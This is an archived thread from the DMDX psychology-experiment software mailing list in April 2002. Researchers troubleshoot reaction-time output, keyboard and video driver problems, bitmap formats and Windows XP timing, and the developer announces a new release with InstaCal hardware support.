*""KKKHKKK"" /; +6 *""HHHKHHH"" /; oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo --=====================_5335031==_.ALT Content-Type: text/html; charset=""us-ascii"" Here's a weird one.  When we run DMDX on one of our machines, it gives the item number as the RT.  Below is a bit of the .azk file and a bit of the script.  Has anyone else had this problem.  It is Dell machine, same as all the other ones we run DMDX on. - Mike Subjects incorporated to date: 001 Data file started on machine PC 106 ********************************************************************** Subject 1, 04/09/2002 20:25:52 on PC 106, refresh 11.75ms, ID Geoff   Item       RT     21     21.00     76     76.00    107    107.00     60     60.00     44     44.00 +1 *""HHHHHHH"" /; +2 *""KKKKKKK"" /; -3 *""SSSSSSS"" /; -4 *""CCCCCCC"" /; +5 *""KKKHKKK"" /; +6 *""HHHKHHH"" /; oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford      MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel:   +44 (0)1223 355294 ext 311     Fax:   +44 (0)1223 359062 http://www.mrc-cbu.cam.ac.uk/personal/mike.ford oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo --=====================_5335031==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 10 04:49:13 2002 Received: from mail.uni-magdeburg.de (mail.uni-magdeburg.de [141.44.1.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA09219 for ; Wed, 10 Apr 2002 04:49:05 -0700 Received: from connect0.urz.uni-magdeburg.de ([141.44.11.1]) by mail.uni-magdeburg.de with smtp (EXIM Version 3.15) for id 16vGb3-0004tX-00; Wed, 10 Apr 2002 13:49:05 +0200 Date: Wed, 10 Apr 2002 13:49:04 +0200 (MET DST) From: Arie van der Lugt To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: Item numbers given as RTs In-Reply-To: <5.1.0.14.2.20020410115847.00a9cec0@pophost.mrc-cbu.cam.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list On Wed, 10 Apr 2002, Mike Ford wrote: > Here's a weird one. When we run DMDX on one of our machines, it gives the > item number as the RT. Below is a bit of the .azk file and a bit of the > script. Has anyone else had this problem. It is Dell machine, same as all > the other ones we run DMDX on. Same thing happened to me yesterday when I was installing DMDX on one of the desktop PCs in our EEG-lab. There appeared to be something wrong with the Keyboard-drivers (it was a German keyboard but in TimeDX I was prompted with the regular QWERTY input keys). I reinstalled the keyboard and that solved the problem for me... Arie -----------Dr. A. H. van der Lugt---------------- Universitaetsplatz 2 (Pfaelzer Platz, Geb. 24) PO Box 4120 D-39106 Magdeburg Germany E-mail: Arie.vanderLugt@Nat.Uni-Magdeburg.de Telephone: ++49 (0)391 6718478 Telefax: ++49 (0)391 6711947 ------------------------------------------------- >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 10 06:06:00 2002 Received: from baldrick.ocs.mq.edu.au (baldrick.ocs.mq.edu.au [137.111.1.12]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id GAA09429 for ; Wed, 10 Apr 2002 06:05:47 -0700 Received: from [137.111.7.238] (muras-remote224.ocs.mq.edu.au [137.111.7.238]) by baldrick.ocs.mq.edu.au (8.10.2/8.10.2) with ESMTP id g3AD5iC24497 for ; Wed, 10 Apr 2002 23:05:45 +1000 (EST) Message-Id: In-Reply-To: <5.1.0.14.2.20020410115847.00a9cec0@pophost.mrc-cbu.cam.ac.uk> Mime-Version: 1.0 Content-Type: text/enriched; charset=""us-ascii"" Content-Transfer-Encoding: 8bit Date: Wed, 10 Apr 2002 23:12:49 +1000 To: DMDX@psy1.psych.arizona.edu From: Irina Harris Subject: [DMDX] Re: Item numbers given as RTs Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I noticed this happening when I run DMDX in Diagnostic mode (ie. when no actual response is being given). Perhaps your machine is somehow stuck in that mode? Here's a weird one. When we run DMDX on one of our machines, it gives the item number as the RT. Below is a bit of the .azk file and a bit of the script. Has anyone else had this problem. It is Dell machine, same as all the other ones we run DMDX on. - Mike Courier_NewSubjects incorporated to date: 001 Data file started on machine PC 106 ********************************************************************** Subject 1, 04/09/2002 20:25:52 on PC 106, refresh 11.75ms, ID Geoff Item RT 21 21.00 76 76.00 107 107.00 60 60.00 44 44.00 < < < < < < < < < < +1 *""HHHHHHH"" /; +2 *""KKKKKKK"" /; -3 *""SSSSSSS"" /; -4 *""CCCCCCC"" /; +5 *""KKKHKKK"" /; +6 *""HHHKHHH"" /; oxoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxoxo *** Note New Extension - 311 *** Mike Ford MRC Cognition & Brain Sciences Unit 15 Chaucer Rd, Cambridge, CB1 2NQ, UK. Tel: +44 (0)1223 355294 ext 311 Fax: +44 (0)1223 359062 From DMDX-owner@psy1.psych.arizona.edu Mon Apr 15 02:57:33 2002 Received: from navy.csi.cam.ac.uk (exim@navy.csi.cam.ac.uk [131.111.8.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA23242 for ; Mon, 15 Apr 2002 02:56:41 -0700 Received: from csl.psychol.cam.ac.uk ([131.111.177.90]) by navy.csi.cam.ac.uk with esmtp (Exim 3.35 #1) id 16x3E0-0002UC-00 for DMDX@psy1.psych.arizona.edu; Mon, 15 Apr 2002 10:56:40 +0100 Received: from sneezy (sneezy.psychol.cam.ac.uk [131.111.190.52]) by csl.psychol.cam.ac.uk (8.10.0/8.10.0) with SMTP id g3F9ptv14509 for ; Mon, 15 Apr 2002 10:51:55 +0100 (BST) Message-Id: <3.0.6.32.20020415105648.00977bb0@csl.psychol.cam.ac.uk> Date: Mon, 15 Apr 2002 10:56:48 +0100 To: DMDX@psy1.psych.arizona.edu From: saamah abdallah Subject: [DMDX] Re: Scores In-Reply-To: <5.1.0.14.2.20020409152410.00b33480@psy1.psych.arizona.edu> References: <200204092026.g39KQsC22967@qix.software.umn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathon, I've just started writing a little C program to calculate a score for a subject, based on error rate and average reaction time, and that this score could be calculated independently for each block of the experiment. I've been talking it over with my colleagues and we thought that it would be much better if this is something that could be done within DMDX. Rather than having to quit DMDX, run the program (which would read information from the azk file), then load DMDX again and start the next block off, it'd be nice if a score print out could be called from the rtf file, and if something in the header line could specify the weight to give to errors. We figured this couldn't be too difficult seeing as you already calculate error rates and you have the RTs. Is it something you'd be able to do, or do you know if someone has already made a patch for that? I'm sure it'd be very popular as a tool. Subjects generally perform better if they are motivated by some score they are trying to beat, especially if you promise them some kind of alcohol-based prize if they do best! Many thanks sam >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 15 10:14:36 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA24214 for ; Mon, 15 Apr 2002 10:14:14 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3CB84E7C000297BE for DMDX@psy1.psych.arizona.edu; Mon, 15 Apr 2002 10:14:14 -0700 Message-Id: <5.1.0.14.2.20020415101129.00b333a8@psy1.psych.arizona.edu> Date: Mon, 15 Apr 2002 10:14:23 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Scores In-Reply-To: <3.0.6.32.20020415105648.00977bb0@csl.psychol.cam.ac.uk> References: <5.1.0.14.2.20020409152410.00b33480@psy1.psych.arizona.edu> <200204092026.g39KQsC22967@qix.software.umn.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:56 AM 4/15/2002 +0100, you wrote: >Dear Jonathon, > >I've just started writing a little C program to calculate a score for a >subject, based on error rate and average reaction time, and that this score >could be calculated independently for each block of the experiment. > >I've been talking it over with my colleagues and we thought that it would >be much better if this is something that could be done within DMDX. Rather >than having to quit DMDX, run the program (which would read information >from the azk file), then load DMDX again and start the next block off, it'd >be nice if a score print out could be called from the rtf file, and if >something in the header line could specify the weight to give to errors. > >We figured this couldn't be too difficult seeing as you already calculate >error rates and you have the RTs. Is it something you'd be able to do, or >do you know if someone has already made a patch for that? I'm sure it'd be >very popular as a tool. Subjects generally perform better if they are >motivated by some score they are trying to beat, especially if you promise >them some kind of alcohol-based prize if they do best! You can code it already, all the tools are there. See the counter docs: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhsetcounterkeyword.htm /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 16 17:16:00 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id RAA28056 for ; Tue, 16 Apr 2002 17:15:02 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (6.0.040) id 3CB84E7C0006184B for DMDX@psy1.psych.arizona.edu; Tue, 16 Apr 2002 17:15:02 -0700 Message-Id: <5.1.0.14.2.20020416164652.00b13348@psy1.psych.arizona.edu> Date: Tue, 16 Apr 2002 17:15:02 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.8.00 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list The great day dawns upon us when DMDX can use a PIO12 under windows NT, 2000 or XP! Yes my friends, you read right, with DMDX 2.8.00 and TimeDX 2.2.00 as long as you install and configure the InstaCal software that comes with ComputerBoards' interface cards you can wire up switches under any version of windows. The cost? A freaking .DLL that has to be copied along with DMDX -- regardless of whether you use InstaCal stuff or not :( Even if you aren't using some NT derivative OS the InstaCal stuff still has some use as users of PCI interface cards can dispense with the nasty registry hacks that are currently to used to track a PCI based PIO12 as it moves around the system's I/O address space. But you do have to actually run the InstaCal stuff and tell it to add your card to it's list of boards that it keeps in CB.CFG. Then in TimeDX's PIO Test you can nominate the InstaCal Board that will be then enumerated as a possible device address to use. Under NT/2k/XP only InstaCal devices will be listed in the PIO Test as to use anything else there will result in an immediate protection fault. The file cbw32.dll must now be copied into whatever folder DMDX lives in, or into some folder in the path (read windows\\system32 or windows\\system whichever folder your machine has) or the working directory used in a shortcut to DMDX should it be different to the directory containing DMDX.EXE. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Expert, n.: Someone who comes from out of town and shows slides. >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 17 12:16:54 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA30344 for ; Wed, 17 Apr 2002 12:16:18 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3CB47660000E0D01 for DMDX@psy1.psych.arizona.edu; Wed, 17 Apr 2002 12:16:17 -0700 Message-Id: <5.1.0.14.2.20020417120208.00b13348@psy1.psych.arizona.edu> Date: Wed, 17 Apr 2002 12:16:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] XP Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Well, in testing the new InstaCal interface I find that winXP's wondrous 0.07ms SD of the millisecond callback doesn't translate to more accurate RT measurement. In fact I find RT SDs well over 1ms so I don't recommend jumping onto the new OS unless you have other reasons for doing so, not at least until I do some more work on DMDX. I suspect the reason lies in thread context switching, under win9X there is almost no delay, under winXP (and one would assume win2k as well) there would appear to be substantial delay. So I'll have to redesign the PIO input system to use some kind of a queuing system that actually polls the PIO in the millisecond callback and then services the queue with the existing threads. Bummer. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you stay up all night wondering where the sun is, it will dawn on you. >From DMDX-owner@psy1.psych.arizona.edu Wed Apr 17 12:57:44 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA30463 for ; Wed, 17 Apr 2002 12:57:35 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3CB47660000E2708 for DMDX@psy1.psych.arizona.edu; Wed, 17 Apr 2002 12:57:35 -0700 Message-Id: <5.1.0.14.2.20020417124654.00b13370@psy1.psych.arizona.edu> Date: Wed, 17 Apr 2002 12:57:48 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: XP In-Reply-To: <5.1.0.14.2.20020417120208.00b13348@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 12:16 PM 4/17/2002 -0700, you wrote: > Well, in testing the new InstaCal interface I find that winXP's > wondrous 0.07ms SD of the millisecond callback doesn't translate to more > accurate RT measurement. In fact I find RT SDs well over 1ms so I don't > recommend jumping onto the new OS unless you have other reasons for doing > so, not at least until I do some more work on DMDX. I suspect the reason > lies in thread context switching, under win9X there is almost no delay, > under winXP (and one would assume win2k as well) there would appear to be > substantial delay. So I'll have to redesign the PIO input system to use > some kind of a queuing system that actually polls the PIO in the > millisecond callback and then services the queue with the existing > threads. Bummer. OTOH, I then go and fire up TestMode 9 where DMDX is triggered by a photo sensor and get an SD of 0.35ms under winXP. And that's with other active tasks in the background, killing them doesn't change the SD to speak of either. TestMode 9 is a much truer test than TestMode 8 which I was using earlier on, in fact it is simply a data logger and doesn't change DMDX's RT gathering functionality at all. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you stay up all night wondering where the sun is, it will dawn on you. >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 18 02:31:20 2002 Received: from green.csi.cam.ac.uk (exim@green.csi.cam.ac.uk [131.111.8.57]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id CAA32143 for ; Thu, 18 Apr 2002 02:30:23 -0700 Received: from rak34 (helo=localhost) by green.csi.cam.ac.uk with local-esmtp (Exim 3.36 #1) id 16y8FD-00020M-00 for DMDX@psy1.psych.arizona.edu; Thu, 18 Apr 2002 10:30:23 +0100 Date: Thu, 18 Apr 2002 10:30:23 +0100 (BST) From: Rachael-Anne Knight To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Bitmap problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello I have just started using DMDX and am having a problem with bitmap files. When I try to run the script I get the error: Bitmap DIB creation failed! The bitmaps are stored in the same folder as the .rtf file so I don't think that's the problem. I've searched the archive but can't find anything there. I'd be very grateful for any ideas people have. Thanks _______________________________________________________________________________ Rachael-Anne Knight Phonetics Lab, Department of Linguistics, University of Cambridge Tel: +44(0)1223 763057 (PhD room) or 335026 (lab). Fax: +44(0)1223 335053 e-mail: rak34@cam.ac.uk or rachaelanne2000@yahoo.co.uk homepage: http://www.rachaelanne.co.uk >From DMDX-owner@psy1.psych.arizona.edu Thu Apr 18 10:30:39 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA00316 for ; Thu, 18 Apr 2002 10:29:59 -0700 Received: from 666-devel.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (6.0.040) id 3CBE089800017177 for DMDX@psy1.psych.arizona.edu; Thu, 18 Apr 2002 10:30:00 -0700 Message-Id: <5.1.0.14.2.20020418102720.00b13370@psy1.psych.arizona.edu> Date: Thu, 18 Apr 2002 10:30:06 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] Re: Bitmap problems In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:30 AM 4/18/2002 +0100, you wrote: >Hello > >I have just started using DMDX and am having a problem with bitmap files. >When I try to run the script I get the error: > >Bitmap DIB creation failed! > >The bitmaps are stored in the same folder as the .rtf file so I don't >think that's the problem. I've searched the archive but can't find >anything there. > >I'd be very grateful for any ideas people have. It means the bitmaps are in a format that DMDX can't handle. Try converting them to a different format. For instance you might have 16 bit bitmaps that are by definition non-standard (.BMP files have either 8 or 24 bit color), save them as 24 bit bitmaps instead. OTOH you can convert them the .JPG files instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you stay up all night wondering where the sun is, it will dawn on you. >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 22 04:51:43 2002 Received: from smail-104.hanmail.net (smail-104.hanmail.net [211.233.29.59]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA10903 for ; Mon, 22 Apr 2002 04:50:46 -0700 Received: from www5.hanmail.net (www5.hanmail.net [211.32.117.25]) by smail-104.hanmail.net (8.10.0/8.9.1) with ESMTP id g3MBonZ18773; Mon, 22 Apr 2002 20:50:49 +0900 Received: (from hanadmin@localhost) by www5.hanmail.net (8.10.0/8.9.1) id g3MBoVn16704 for ; Mon, 22 Apr 2002 20:50:31 +0900 (KST) From: ""=?EUC-KR?B?uc69wrHi?="" To: Subject: [DMDX] zil file analysis Date: Mon, 22 Apr 2002 20:50:31 +0900 (KST) Message-Id: <20020422205031.HM.40000000003aZc5@www5.hanmail.net> MIME-Version: 1.0 Content-Type: text/html; charset=euc-kr Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Now, I have a question about dmdx as a novice.. so need anyone's help. As late as, made the experiment of 'number recognition' with dmdx for the first time and obtained zil data file. but ridiculously can't analyze it. I need detailed analysis instructions and procedures for zil output file using dmdx software(analyze, concatenate and unloadazk.exe). If anyone has any helpful advice on this I would be most appreciative. ""���� ������, Daum"" http://www.daum.netDaum��������! Daum������������ ��������?Daum������������ ����������Daum�������������������� ��! >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 22 04:59:47 2002 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA10936 for ; Mon, 22 Apr 2002 04:59:40 -0700 Received: from dss2.med.gu.se (dss2.med.gu.se [130.241.85.25]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id g3MBxdp06226 for ; Mon, 22 Apr 2002 13:59:39 +0200 Received: from GWDOMNEU-Message_Server by dss2.med.gu.se with Novell_GroupWise; Mon, 22 Apr 2002 13:59:39 +0200 Message-Id: Date: Mon, 22 Apr 2002 13:57:15 +0200 From: ""Derek Eder"" To: Subject: [DMDX] Online chart of RGB color codes Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Anyone setting up the color keywords in DMDX (e.g. ) might appreciate this online color chart with RGB codes: http://html-color-codes.com/rgb.html - Derek Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 (office) Tlf. +46 (031) 34 21 283 (laboratory) Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Mon Apr 22 08:45:25 2002 Received: from deimos.email.Arizona.EDU (deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA11508 for ; Mon, 22 Apr 2002 08:44:55 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.25) by deimos.email.Arizona.EDU (6.0.053) id 3CC4001B000046C4 for DMDX@psy1.psych.arizona.edu; Mon, 22 Apr 2002 08:44:54 -0700 Message-Id: <5.1.0.14.2.20020422083732.00b1dbf8@psy1.psych.arizona.edu> Date: Mon, 22 Apr 2002 08:44:54 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: zil file analysis In-Reply-To: <20020422205031.HM.40000000003aZc5@www5.hanmail.net> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 08:50 PM 4/22/2002 +0900, you wrote: >Now, I have a question about dmdx as a novice.. so need anyone's help. > >As late as, made the experiment of 'number recognition' with dmdx for the >first time and obtained zil data file. but ridiculously can't analyze it. > >I need detailed analysis instructions and procedures for zil output file >using dmdx software(analyze, concatenate and unloadazk.exe). > >If anyone has any helpful advice on this I would be most As raw .zil files stand you can't use them with the analysis tools provided, they are all designed to handle binary yes/no responses found in .AZK files, .ZIL files typically contain one of many responses. People typically analyze .ZIL files by importing them into some number cruncher (SAS, EXCEL, SPSS) and processing them there instead. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""It's not just a computer -- it's your ass."" - Cal Keegan >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 23 08:28:53 2002 Received: from broadway.montclair.edu (broadway.montclair.edu [130.68.1.252]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA14643 for ; Tue, 23 Apr 2002 08:28:17 -0700 Received: from montclair.edu (localhost [127.0.0.1]) by broadway.montclair.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GV100JI51N2GX@broadway.montclair.edu> for DMDX@psy1.psych.arizona.edu; Tue, 23 Apr 2002 11:28:14 -0400 (EDT) Received: from [130.68.51.188] by broadway.montclair.edu (mshttpd); Tue, 23 Apr 2002 11:28:14 -0400 Date: Tue, 23 Apr 2002 11:28:14 -0400 From: Arturo Kiyama Subject: [DMDX] Dmdx freezes To: DMDX@psy1.psych.arizona.edu Message-id: <2d72ff2d3c74.2d3c742d72ff@montclair.edu> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hello, The computer is a Pent II, Windows 95, 64 RAM, ATI 3D PRO. I have ran scan disk and Norton anti-virus just to make sure they were not the problem. The only problem that I found, which I dont know if it affects dmdx, is that the monitor driver was off. I could not find the correct driver so I just put a ""standard monitor type"" and made sure the settings were exactly the same as the other two dmdx computers (which are similar to this one but have different model monitors). Dmdx will not open on this computer and I have found no reason for this to happen, all other utilities and programs work without problems. It was also very difficult to delete the files from the hard drive, it did it at a very slow pace. Once deleted I tried downloading a new dmdx file, but it would not copy it to a folder, it did it extremely slow or it froze. I tried to copy dmdx files from the other PC's and only the help files for both the dmdx and timedx would copy from the disk, once it got to dmdx or the timedx application files it would slow down or freeze. It appears that the computer has some kind of aversion to dmdx! Like I said all other applications work fine, but only when you try to copy or run a application dmdx or timedx file does it slow down or freeze. Any suggestions on what the problem maybe and how to fix it? Thank you. Arturo Kiyama Graduate Assistant Montclair State University Department of Psychology Dickson Building - 260 1 Normal Avenue Upper Montclair, NJ 07043 >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 23 09:41:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14917 for ; Tue, 23 Apr 2002 09:41:16 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.25) by phobos.email.Arizona.EDU (6.0.053) id 3CC4468500026D5A for DMDX@psy1.psych.arizona.edu; Tue, 23 Apr 2002 09:41:15 -0700 Message-Id: <5.1.0.14.2.20020423093410.00b3b388@psy1.psych.arizona.edu> Date: Tue, 23 Apr 2002 09:41:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Dmdx freezes In-Reply-To: <2d72ff2d3c74.2d3c742d72ff@montclair.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:28 AM 4/23/2002 -0400, you wrote: >Hello, > >The computer is a Pent II, Windows 95, 64 RAM, ATI 3D PRO. I have ran >scan disk and Norton anti-virus just to make sure they were not the >problem. The only problem that I found, which I dont know if it >affects dmdx, is that the monitor driver was off. I could not find the >correct driver so I just put a ""standard monitor type"" and made sure >the settings were exactly the same as the other two dmdx computers >(which are similar to this one but have different model monitors). >Dmdx will not open on this computer and I have found no reason for this >to happen, all other utilities and programs work without problems. It >was also very difficult to delete the files from the hard drive, it did >it at a very slow pace. Once deleted I tried downloading a new dmdx >file, but it would not copy it to a folder, it did it extremely slow or >it froze. I tried to copy dmdx files from the other PC's and only the >help files for both the dmdx and timedx would copy from the disk, once >it got to dmdx or the timedx application files it would slow down or >freeze. It appears that the computer has some kind of aversion to >dmdx! Like I said all other applications work fine, but only when you >try to copy or run a application dmdx or timedx file does it slow down >or freeze. Any suggestions on what the problem maybe and how to fix >it? Thank you. Restart the computer, check whether there is in fact any free disk space. If you can't copy the files then that's a basic computer failure, there's nothing unusual about the TimeDX or DMDX executables. Norton AV has been known to interfere with DMDX's operation in the past however your problem is almost guaranteed to be video card driver related or DirectX related. First try a later version of DirectX and if it's still screwy find some later video card drivers. http://psy1.psych.arizona.edu/~jforster/dmdx/directx/DX70eng.exe /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A government is the only vessel known to leak from the top. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 23 09:42:47 2002 Received: from phobos.email.Arizona.EDU (phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA14934 for ; Tue, 23 Apr 2002 09:42:40 -0700 Received: from anybodyi.u.arizona.edu (150.135.175.25) by phobos.email.Arizona.EDU (6.0.053) id 3CC4468500026E43 for DMDX@psy1.psych.arizona.edu; Tue, 23 Apr 2002 09:42:39 -0700 Message-Id: <5.1.0.14.2.20020423094144.00b3b388@psy1.psych.arizona.edu> Date: Tue, 23 Apr 2002 09:42:38 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Dmdx freezes In-Reply-To: <2d72ff2d3c74.2d3c742d72ff@montclair.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:28 AM 4/23/2002 -0400, you wrote: >Hello, > >The computer is a Pent II, Windows 95, 64 RAM, ATI 3D PRO. Could be that windows 95 isn't usable any more, haven't had a 95 box to test anything on for years. You may have to upgrade to 98SE. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ A government is the only vessel known to leak from the top. >From DMDX-owner@psy1.psych.arizona.edu Tue Apr 23 12:36:29 2002 Received: from broadway.montclair.edu (broadway.montclair.edu [130.68.1.252]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id MAA15560 for ; Tue, 23 Apr 2002 12:36:08 -0700 Received: from montclair.edu (localhost [127.0.0.1]) by broadway.montclair.edu (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0GV100JTHD46WG@broadway.montclair.edu> for DMDX@psy1.psych.arizona.edu; Tue, 23 Apr 2002 15:36:06 -0400 (EDT) Received: from [130.68.51.188] by broadway.montclair.edu (mshttpd); Tue, 23 Apr 2002 15:36:06 -0400 Date: Tue, 23 Apr 2002 15:36:06 -0400 From: Arturo Kiyama Subject: [DMDX] Re: Dmdx freezes To: 